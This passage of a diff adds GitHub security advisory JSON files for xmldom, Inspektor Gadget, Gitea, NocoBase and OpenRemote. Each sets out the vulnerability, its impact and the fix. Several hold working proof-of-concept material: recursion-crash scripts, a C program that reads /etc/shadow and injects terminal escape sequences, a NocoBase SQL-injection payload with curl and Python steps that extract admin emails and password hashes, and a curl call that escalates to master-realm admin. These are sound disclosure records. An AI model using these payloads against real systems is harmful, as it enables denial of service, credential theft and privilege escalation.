operations.\n\n---\n\n## Details\n\n### Root cause\n\n`lib/dom.js` implements DOM tree traversals as depth-first recursive functions. Each level of\nelement nesting adds one JavaScript call frame. The JS engine's call stack is finite; once\nexhausted, a `RangeError: Maximum call stack size exceeded` is thrown. This error may not be\ncaught reliably at stack-exhaustion depths because the catch handler itself requires stack\nframes to execute — especially in async scenarios, where an uncaught `RangeError` inside a\ncallback or promise chain can crash the entire Node.js process.\n\nParsing a deeply nested document **succeeds** — the SAX parser in `lib/sax.js` is iterative.\nThe crash occurs during subsequent operations on the parsed DOM.\n\n### `Node.prototype.normalize()` — reported by @praveen-kv\n\n[`lib/dom.js:1296–1308`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L1296-L1308) (main):\n\n```js\nnormalize: function () {\n var child = this.firstChild;\n while (child) {\n var next = child.nextSibling;\n if (next && next.nodeType == TEXT_NODE && child.nodeType == TEXT_NODE) {\n this.removeChild(next);\n child.appendData(next.data);\n } else {\n child.normalize(); // recursive call — no depth guard\n child = next;\n }\n }\n},\n```\n\nCrash threshold (Node.js 18, default stack): ~10,000 levels.\n\n### `XMLSerializer.serializeToString()` — reported by @Jvr2022\n\n[`lib/dom.js:2790–2974`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L2790-L2974) (main):\nThe internal `serializeToString` worker recurses into child nodes at four call sites, each\npassing a `visibleNamespaces.slice()` copy. The per-frame allocation causes earlier stack\nexhaustion than `normalize()`.\n\nCrash threshold (Node.js 18, default stack): ~5,000 levels.\n\n### Additional recursive entry points\n\nAll five crash at ~10,000 levels on Node.js 18.\n\n| Function | Definition | Public API entry point(s) | Crash depth (Node.js 18) |\n|-----------------------------|----------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------|--------------------------|\n| `_visitNode` | [`lib/dom.js:1529`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L1529) | `getElementsByTagName()`, `getElementsByTagNameNS()`, `getElementsByClassName()`, `getElementById()` | ~10,000 levels |\n| `cloneNode` (module fn) | [`lib/dom.js:3037`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L3037) | `Node.prototype.cloneNode(true)` | ~10,000 levels |\n| `importNode` (module fn) | [`lib/dom.js:2975`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L2975) | `Document.prototype.importNode(node, true)` | ~10,000 levels |\n| `getTextContent` (inner fn) | [`lib/dom.js:3130`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L3130) | `node.textContent` (getter) | ~10,000 levels |\n| `isEqualNode` | [`lib/dom.js:1120`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L1120) | `Node.prototype.isEqualNode(other)` | ~10,000 levels |\n\nBoth active branches (`main` and `release-0.8.x`) are identically affected. The unscoped `xmldom`\npackage (≤ 0.6.0) carries the same recursive patterns from its initial commit.\n\n### Browser behavior\n\nTested with Chromium 147 (Playwright headless). Chromium's native C++ implementations of all\nseven DOM methods are **iterative** — they traverse the DOM without consuming JS call stack frames.\nAll seven succeed at depths up to 20,000 without any crash.\n\nWhen `@xmldom/xmldom` is bundled and run in a browser context the same recursive JS code executes\nunder the browser's V8 stack limit (~12,000–13,000 frames). The crash thresholds are similar to\nthose observed on Node.js 18 (~5,000 for `serializeToString`, ~10,000 for the remaining six).\n\nThe vulnerability is specific to xmldom's pure-JavaScript recursive implementation, not an\ninherent property of the DOM operations.\n\n---\n\n## PoC\n\n### `normalize()` (from @praveen-kv report, 2026-04-05)\n\n```js\nconst { DOMParser } = require('@xmldom/xmldom');\n\nfunction generateNestedXML(depth) {\n return '' + ''.repeat(depth) + 'text' + ''.repeat(depth) + '';\n}\n\nconst doc = new DOMParser().parseFromString(generateNestedXML(10000), 'text/xml');\ndoc.documentElement.normalize();\n// RangeError: Maximum call stack size exceeded\n```\n\n### `XMLSerializer.serializeToString()` (from GHSA-2v35-w6hq-6mfw)\n\n```js\nconst { DOMParser, XMLSerializer } = require('@xmldom/xmldom');\n\nconst depth = 5000;\nconst xml = ''.repeat(depth) + ''.repeat(depth);\nconst doc = new DOMParser().parseFromString(xml, 'text/xml');\nnew XMLSerializer().serializeToString(doc);\n// RangeError: Maximum call stack size exceeded\n```\n\nThe other methods have been verified using similar pocs.\n\n---\n\n## Impact\n\nAny service that accepts attacker-controlled XML and subsequently calls any of the seven affected\nDOM operations can be forced into a reliable denial of service with a single crafted payload.\n\nThe immediate result is an uncaught `RangeError` and failed request processing. In deployments\nwhere uncaught exceptions terminate the worker or process, the impact can extend beyond a single\nrequest and disrupt service availability more broadly.\n\nNo authentication, special options, or invalid XML is required. A valid, deeply nested XML\ndocument is enough.\n\n---\n\n## Disclosure\n\nThe `normalize()` vector was publicly disclosed at 2026-04-06T11:25:07Z via\n[xmldom/xmldom#987](https://github.com/xmldom/xmldom/pull/987) (closed without merge).\n`serializeToString()` and the five additional recursive entry points were not mentioned in that PR.\n\n---\n\n## Fix Applied\n\nAll seven affected traversals have been converted from recursive to iterative implementations, eliminating call-stack consumption on deep trees.\n\n### `walkDOM` utility\n\nA new `walkDOM(node, context, callbacks)` utility is introduced. It traverses the subtree rooted at `node` in depth-first order using an explicit JavaScript array as a stack, consuming heap memory instead of call-stack frames. `context` is an arbitrary value threaded through the walk — each `callbacks.enter(node, context)` call returns the context to pass to that node's children, enabling per-branch state (e.g. namespace snapshots in the serializer). `callbacks.exit(node, context)` (optional) is called in post-order after all children have been visited.\n\nThe following six operations are re-implemented on top of `walkDOM`:\n\n| Operation | Public entry point(s) |\n|---|---|\n| `_visitNode` helper | `getElementsByTagName()`, `getElementsByTagNameNS()`, `getElementsByClassName()`, `getElementById()` |\n| `getTextContent` inner function | `node.textContent` getter |\n| `cloneNode` module function | `Node.prototype.cloneNode(true)` |\n| `importNode` module function | `Document.prototype.importNode(node, true)` |\n| `serializeToString` worker | `XMLSerializer.prototype.serializeToString()`, `Node.prototype.toString()`, `NodeList.prototype.toString()` |\n| `normalize` | `Node.prototype.normalize()` |\n\n`normalize` uses `walkDOM` with a `null` context and an `enter` callback that merges adjacent Text children of the current node before `walkDOM` reads and queues those children — so the surviving post-merge children are what the walker descends into.\n\n### Custom iterative loop for `isEqualNode`\n\nOne function cannot use `walkDOM`:\n\n**`Node.prototype.isEqualNode(other)`** (0.9.x only; absent from 0.8.x) compares two trees in parallel. It maintains an explicit stack of `{node, other}` node pairs — one node from each tree — which cannot be expressed with `walkDOM`'s single-tree visitor.\n\n### After the fix\n\nAll seven entry points succeed on trees of arbitrary depth without throwing `RangeError`. The original PoCs still demonstrate the vulnerability on unpatched versions and confirm the fix on patched versions.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "npm",
+ "name": "@xmldom/xmldom"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "0.8.13"
+ }
+ ]
+ }
+ ]
+ },
+ {
+ "package": {
+ "ecosystem": "npm",
+ "name": "@xmldom/xmldom"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0.9.0"
+ },
+ {
+ "fixed": "0.9.10"
+ }
+ ]
+ }
+ ]
+ },
+ {
+ "package": {
+ "ecosystem": "npm",
+ "name": "xmldom"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "last_affected": "0.6.0"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-2v35-w6hq-6mfw"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/xmldom/xmldom/commit/17678a2a73ecbd1a2da90f3d47dc23da9cef81aa"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/xmldom/xmldom/commit/291257493cb0eb6980eda83b162a9c4e6d7d2597"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/xmldom/xmldom/commit/2d6d6916ed8a4c223db1f6d7560ab4544c465b0f"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/xmldom/xmldom/commit/430357c7b6333108856e917bf2367afe5ceb6f8a"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/xmldom/xmldom/commit/4845ef109221df0890825de2822fbe77afba3afe"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/xmldom/xmldom/commit/8834218c85ac2a4d757b9587c9028e67c2f7b6c3"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/xmldom/xmldom/commit/8b7cfd1491314abdc347261921d7334ff15f7112"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/xmldom/xmldom/commit/b0620383abc1df067f3ce1014c43ae1bc1161eeb"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/xmldom/xmldom/commit/e6edcab6bef5bcdba0b220bb35442aa72f452b84"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/xmldom/xmldom"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/xmldom/xmldom/releases/tag/0.8.13"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/xmldom/xmldom/releases/tag/0.9.10"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-674"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-22T20:23:57Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2026/04/GHSA-34r5-6j7w-235f/GHSA-34r5-6j7w-235f.json b/advisories/github-reviewed/2026/04/GHSA-34r5-6j7w-235f/GHSA-34r5-6j7w-235f.json
new file mode 100644
index 0000000000000..6742c12d436c5
--- /dev/null
+++ b/advisories/github-reviewed/2026/04/GHSA-34r5-6j7w-235f/GHSA-34r5-6j7w-235f.json
@@ -0,0 +1,69 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-34r5-6j7w-235f",
+ "modified": "2026-04-22T18:50:32Z",
+ "published": "2026-04-22T18:50:32Z",
+ "aliases": [
+ "CVE-2026-25996"
+ ],
+ "summary": "Inspektor Gadget uses unsanitized ANSI Escape Sequences In `columns` Output Mode",
+ "details": "### Description\nString fields from eBPF events in `columns` output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences. \n\nTherefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of `ig` operators, with various effects.\n\nThe `columns` output mode is the default when running `ig run` interactively.\n\n### PoC\n\n#### Attachments\nrun.sh\n```bash\n\n#!/bin/bash\nset -e\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nCONTAINER_NAME=\"poc-escape-inject\"\n\necho \"Make sure ig is running in another terminal:\"\necho \" sudo ig run trace_open -c ${CONTAINER_NAME}\"\necho \"\"\necho \"Press Enter to continue...\"\nread -r\n\nsudo docker run --rm \\\n --name \"${CONTAINER_NAME}\" \\\n -v \"${SCRIPT_DIR}/escape_inject.c:/src/escape_inject.c:ro\" \\\n gcc:latest \\\n bash -c \"\n gcc -o /tmp/escape_inject /src/escape_inject.c && \\\n /tmp/escape_inject\n \"\n```\n\nescape_inject.c\n```c\n#include \n#include \n#include \n\nstatic void read_file(const char *path)\n{\n\tint fd = open(path, O_RDONLY);\n\tif (fd >= 0)\n\t\tclose(fd);\n}\n\nstatic void create_file(const char *path)\n{\n\tint fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644);\n\tif (fd >= 0)\n\t\tclose(fd);\n}\n\nint main(void)\n{\n\tprintf(\"[1] normal activity\\n\");\n\tcreate_file(\"/tmp/app.log\");\n\tprintf(\"[2] malicious read of /etc/shadow\\n\");\n\tread_file(\"/etc/shadow\");\n\tusleep(300000);\n\tprintf(\"[3] tampering the log\\n\");\n\tcreate_file(\"/etc\\x1b[1A/bashrc\\x1b[1B\\x1b[13C\");\n\tusleep(300000);\n\treturn 0;\n}\n```\n\n1. Setup a Linux host and build/install `ig` version `0.48.0`\n2. Run the attached `run.sh` on a terminal\n3. Run `sudo ig run trace_open -c poc-escape-inject` on another terminal\n4. Press \"Enter\" on the terminal attached to `run.sh`\n5. Observe the events traced by `ig`\n6. Notice that, at some point, the line where `/etc/shadow` is logged is overwritten `/etc/bashrc`, demonstrating the log injection\n\n\n### Impact\n\nThe impact depends on the injection point – mostly due to length limitations – and on the terminal used by the operator when running displaying `columns` output.\n\nAt the very least, the injection can be used for [Log Injection](https://owasp.org/www-community/attacks/Log_Injection), by inserting new lines or deleting existing ones.\n\nHowever, by leveraging Operating System Command (OSC) ANSI escape sequences, the impact on modern terminal can vary, possibly allowing an attacker to:\n\n- lead to DoS (Denial of Service)\n- write to the system clipboard\n- create hyperlinks to attacker-controlled servers\n- change window title\n- potentially execute code (see referenced resources)\n\n### Resources\n- https://www.youtube.com/watch?v=spb8Gk9Z09Y\n\n### Notes\n\nThe `json` output mode was already sanitizing the content.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Go",
+ "name": "github.com/inspektor-gadget/inspektor-gadget"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "0.49.1"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/inspektor-gadget/inspektor-gadget/security/advisories/GHSA-34r5-6j7w-235f"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25996"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/inspektor-gadget/inspektor-gadget/commit/d59cf72971f9b7110d9c179dc8ae8b7a11dbd6d2"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/inspektor-gadget/inspektor-gadget"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/inspektor-gadget/inspektor-gadget/releases/tag/v0.49.1"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-150"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-22T18:50:32Z",
+ "nvd_published_at": "2026-02-12T21:16:02Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2026/04/GHSA-3m6q-h5gj-7mrw/GHSA-3m6q-h5gj-7mrw.json b/advisories/github-reviewed/2026/04/GHSA-3m6q-h5gj-7mrw/GHSA-3m6q-h5gj-7mrw.json
new file mode 100644
index 0000000000000..47546d7020584
--- /dev/null
+++ b/advisories/github-reviewed/2026/04/GHSA-3m6q-h5gj-7mrw/GHSA-3m6q-h5gj-7mrw.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-3m6q-h5gj-7mrw",
+ "modified": "2026-04-22T20:37:21Z",
+ "published": "2026-04-22T20:37:21Z",
+ "aliases": [],
+ "summary": "Gitea has insecure default SSH settings",
+ "details": "## Summary\n\nThe built-in SSH server currently advertises a number of key exchange, MAC, and host key algorithms that are considered weak or broken. The defaults should be tightened so a fresh installation passes a baseline SSH security audit out of the box.\n\n## Details\n\nRunning `ssh-audit` against a default deployment flags the following as `fail`:\n\n- **Key exchange**\n - `ecdh-sha2-nistp256`\n - `ecdh-sha2-nistp384`\n - `ecdh-sha2-nistp521`\n- **MAC**\n - `hmac-sha1`\n- **Host key**\n - `ssh-rsa`\n\n## Reproduction\n\n```sh\ndocker run -it --rm positronsecurity/ssh-audit -p 2222 gitea.local\n```\n\n## Impact\n\nDefault deployments expose algorithms that are known-weak or deprecated upstream. The current workaround requires manually setting several `GITEA__server__SSH_SERVER_*` variables, which most users will never do.\n\n### Workaround\n\n```ini\n[server]\nSSH_SERVER_KEY_EXCHANGES = curve25519-sha256, diffie-hellman-group14-sha256\nSSH_SERVER_CIPHERS = chacha20-poly1305@openssh.com, aes128-ctr, aes192-ctr, aes256-ctr, aes128-gcm@openssh.com, aes256-gcm@openssh.com\nSSH_SERVER_MACS = hmac-sha2-256-etm@openssh.com, hmac-sha2-256\n```\n\nThere is no exposed option to restrict host key algorithms, so `ssh-rsa` remains advertised.\n\n## Acceptance criteria\n\n- [ ] Default `SSH_SERVER_KEY_EXCHANGES`, `SSH_SERVER_CIPHERS`, and `SSH_SERVER_MACS` updated to the secure list above.\n- [ ] New `SSH_SERVER_HOST_KEY_ALGORITHMS` option added, with a default that excludes `ssh-rsa`.\n- [ ] Documentation updated to reflect the new defaults.\n- [ ] `ssh-audit` against a fresh install reports no `[fail]` entries.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Go",
+ "name": "code.gitea.io/gitea"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "1.25.0"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-3m6q-h5gj-7mrw"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/go-gitea/gitea"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-1188",
+ "CWE-327"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-22T20:37:21Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2026/04/GHSA-4948-f92q-f432/GHSA-4948-f92q-f432.json b/advisories/github-reviewed/2026/04/GHSA-4948-f92q-f432/GHSA-4948-f92q-f432.json
new file mode 100644
index 0000000000000..7c27c543a0e74
--- /dev/null
+++ b/advisories/github-reviewed/2026/04/GHSA-4948-f92q-f432/GHSA-4948-f92q-f432.json
@@ -0,0 +1,65 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-4948-f92q-f432",
+ "modified": "2026-04-22T20:09:02Z",
+ "published": "2026-04-22T20:09:02Z",
+ "aliases": [
+ "CVE-2026-41640"
+ ],
+ "summary": "@nocobase/database has SQL Injection via String Concatenation through Recursive Eager Loading",
+ "details": "## Summary\n\nThe `queryParentSQL()` function in the core database package constructs a recursive CTE query by joining `nodeIds` with string concatenation instead of using parameterized queries. The `nodeIds` array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.\n\n**Affected component:** `@nocobase/database` (core)\n**Affected versions:** <= 2.0.32 (confirmed)\n**Minimum privilege:** Any user with record-creation permission on a tree collection with string-type primary keys\n\n## Vulnerable Code\n\n`packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84`\n\n```javascript\nconst queryParentSQL = (options: {\n db: Database;\n nodeIds: any[];\n collection: Collection;\n foreignKey: string;\n targetKey: string;\n}) => {\n const { collection, db, nodeIds } = options;\n const tableName = collection.quotedTableName();\n const { foreignKey, targetKey } = options;\n const foreignKeyField = collection.model.rawAttributes[foreignKey].field;\n const targetKeyField = collection.model.rawAttributes[targetKey].field;\n\n const queryInterface = db.sequelize.getQueryInterface();\n const q = queryInterface.quoteIdentifier.bind(queryInterface);\n return `WITH RECURSIVE cte AS (\n SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}\n FROM ${tableName}\n WHERE ${q(targetKeyField)} IN ('${nodeIds.join(\"','\")}') // <-- INJECTION\n UNION ALL\n SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}\n FROM ${tableName} AS t\n INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}\n )\n SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;\n};\n```\n\nThis function is called at line 384 when a `BelongsTo` association has `recursively: true` and instances exist:\n\n```javascript\n// eager-loading-tree.ts:382-395\nif (node.includeOption.recursively && instances.length > 0) {\n const targetKey = association.targetKey;\n const sql = queryParentSQL({\n db: this.db, collection, foreignKey, targetKey,\n nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows\n });\n const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });\n}\n```\n\n## PoC\n\nThe payload keeps the CTE syntactically valid by injecting a third `UNION ALL` branch. The closing `')` from the original template literal completes the injected `WHERE` clause, and the remaining `UNION ALL ... INNER JOIN ... SELECT ... FROM cte` lines stay intact.\n\n```\nInjection ID value:\n root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\n\nGenerated SQL (3 valid UNION ALL branches):\n WITH RECURSIVE cte AS (\n SELECT \"id\", \"parentId\" FROM \"table\"\n WHERE \"id\" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')\n UNION ALL\n SELECT t.\"id\", t.\"parentId\" FROM \"table\" AS t INNER JOIN cte ON t.\"id\" = cte.\"parentId\"\n ) SELECT \"id\" AS \"id\", \"parentId\" AS \"parentId\" FROM cte\n\nThe CAST-to-integer triggers a runtime error whose message contains the subquery result.\n```\n\n```bash\nTOKEN=\"\"\n\n# 1. Create tree collection with string PKs\ncurl -s http://TARGET:13000/api/collections:create \\\n -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n -d '{\"name\":\"vuln_tree\",\"tree\":\"adjacencyList\",\"fields\":[\n {\"name\":\"id\",\"type\":\"string\",\"primaryKey\":true,\"interface\":\"input\"},\n {\"name\":\"title\",\"type\":\"string\",\"interface\":\"input\"},\n {\"name\":\"parent\",\"type\":\"belongsTo\",\"target\":\"vuln_tree\",\"foreignKey\":\"parentId\",\"targetKey\":\"id\",\"treeParent\":true},\n {\"name\":\"children\",\"type\":\"hasMany\",\"target\":\"vuln_tree\",\"foreignKey\":\"parentId\",\"sourceKey\":\"id\",\"treeChildren\":true}\n ]}'\n\n# 2. Create safe root\ncurl -s http://TARGET:13000/api/vuln_tree:create \\\n -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n -d '{\"id\":\"root\",\"title\":\"Root\"}'\n\n# 3. Create injection parent — error-based extraction of admin email\npython3 -c \"\nimport requests, json\nheaders = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'}\npayload_id = \\\"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\\\"\nrequests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,\n json={'id': payload_id, 'title': 'x'})\nrequests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,\n json={'id': 'child', 'title': 'c', 'parentId': payload_id})\nr = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers,\n params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'})\nprint(json.dumps(r.json(), indent=2))\n\"\n# Returns: 500 {\"errors\":[{\"message\":\"invalid input syntax for type integer: \\\"admin@nocobase.com\\\"\"}]}\n# ^^^^^^^^^^^^^^^^^^^^^^^\n# Exfiltrated data in error message\n```\n\n**Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):**\n\n| Subquery | Extracted Value |\n|----------|----------------|\n| `SELECT version()` | `PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu...` |\n| `SELECT current_database()` | `nocobase` |\n| `SELECT email FROM users ORDER BY id LIMIT 1` | `admin@nocobase.com` |\n| `SELECT password FROM users ORDER BY id LIMIT 1` | `006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38` |\n| `SELECT string_agg(email\\|\\|':'||substring(password,1,16), ' \\| ') FROM users` | `admin@nocobase.com:006af6756e96 \\| member@nocobase.com:4653e80e3cbf` |\n\n## Impact\n\n- **Confidentiality:** Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes).\n- **Integrity:** Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.\n- **Availability:** Resource-exhaustive queries or destructive DDL.\n- **Scope change:** On PostgreSQL with superuser, `COPY ... TO PROGRAM` achieves OS command execution.\n- **Blast radius:** Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in `plugin-field-sort/src/server/sort-field.ts:124`.\n\n## Fix Suggestion\n\n1. **Use parameterized queries.** Replace the string concatenation with bind parameters:\n ```javascript\n const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(',');\n const sql = `WITH RECURSIVE cte AS (\n SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}\n FROM ${tableName}\n WHERE ${q(targetKeyField)} IN (${placeholders})\n UNION ALL\n ...\n ) SELECT ... FROM cte`;\n return { sql, bind: nodeIds };\n ```\n Then call `db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction })`.\n\n2. **Apply the same fix to `plugin-field-sort/src/server/sort-field.ts:124`**, which has an identical concatenation pattern with `filteredScopeValue`.\n\n3. **Validate primary key values** at record creation time. Reject or escape values containing SQL metacharacters (`'`, `\"`, `;`, `--`) in string-type primary key fields.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "npm",
+ "name": "@nocobase/database"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "2.0.39"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/nocobase/nocobase/pull/9133"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/nocobase/nocobase"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-89"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-22T20:09:02Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2026/04/GHSA-49vv-25qx-mg44/GHSA-49vv-25qx-mg44.json b/advisories/github-reviewed/2026/04/GHSA-49vv-25qx-mg44/GHSA-49vv-25qx-mg44.json
new file mode 100644
index 0000000000000..743b6c0778ab4
--- /dev/null
+++ b/advisories/github-reviewed/2026/04/GHSA-49vv-25qx-mg44/GHSA-49vv-25qx-mg44.json
@@ -0,0 +1,61 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-49vv-25qx-mg44",
+ "modified": "2026-04-22T14:38:23Z",
+ "published": "2026-04-22T14:38:23Z",
+ "aliases": [
+ "CVE-2026-41166"
+ ],
+ "summary": "OpenRemote has Improper Access Control via updateUserRealmRoles function",
+ "details": "### Summary\nA user who has `write:admin` in one Keycloak realm can call the Manager API to update **Keycloak realm roles** for users in **another** realm, including **`master`**. The handler uses the `{realm}` path segment when talking to the identity provider but does not check that the caller may administer that realm. This could result in a privilege escalation to `master` realm administrator if the attacker controls any user in `master` realm.\n\n### Details\nIn `manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java`, there is no check to validate if the caller should be able to administer a realm they're trying to update.\n\n```340:353:manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java\n @Override\n public void updateUserRealmRoles(RequestParams requestParams, String realm, String userId, String[] roles) {\n try {\n identityService.getIdentityProvider().updateUserRealmRoles(\n realm,\n userId,\n roles);\n } catch (ClientErrorException ex) {\n ex.printStackTrace(System.out);\n throw new WebApplicationException(ex.getCause(), ex.getResponse().getStatus());\n } catch (Exception ex) {\n throw new WebApplicationException(ex);\n }\n }\n```\n\n### PoC\n1. Create a **new** Keycloak realm other than `master`. Add a user and grant that user the OpenRemote client role `write:admin`. Remember the realm name (call it `NEW_REALM`).\n2. In Keycloak realm `master`, pick a **low-privilege** user (no `admin` realm role). Copy that user’s UUID (``).\n3. Authenticate as the user from step 1 and obtain a Bearer access token (``) for `NEW_REALM`.\n4. Replace placeholders and run:\n```bash\ncurl -k -X PUT \"https:///api//user/master/userRealmRoles/\" \\\n -H \"Authorization: Bearer \" \\\n -H \"Content-Type: application/json\" \\\n -d '[\"admin\"]'\n```\n5. In the Keycloak Admin Console, realm master, that user, Role mapping. Confirm the admin realm role is assigned.\n### Impact\nAn attacker with the OpenRemote client role write:admin in any realm can call this API with {realm} set to another realm (for example master) and change Keycloak realm roles for users there. That can grant admin on master to a user UUID they target, which gives Keycloak administrator access for the master realm.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
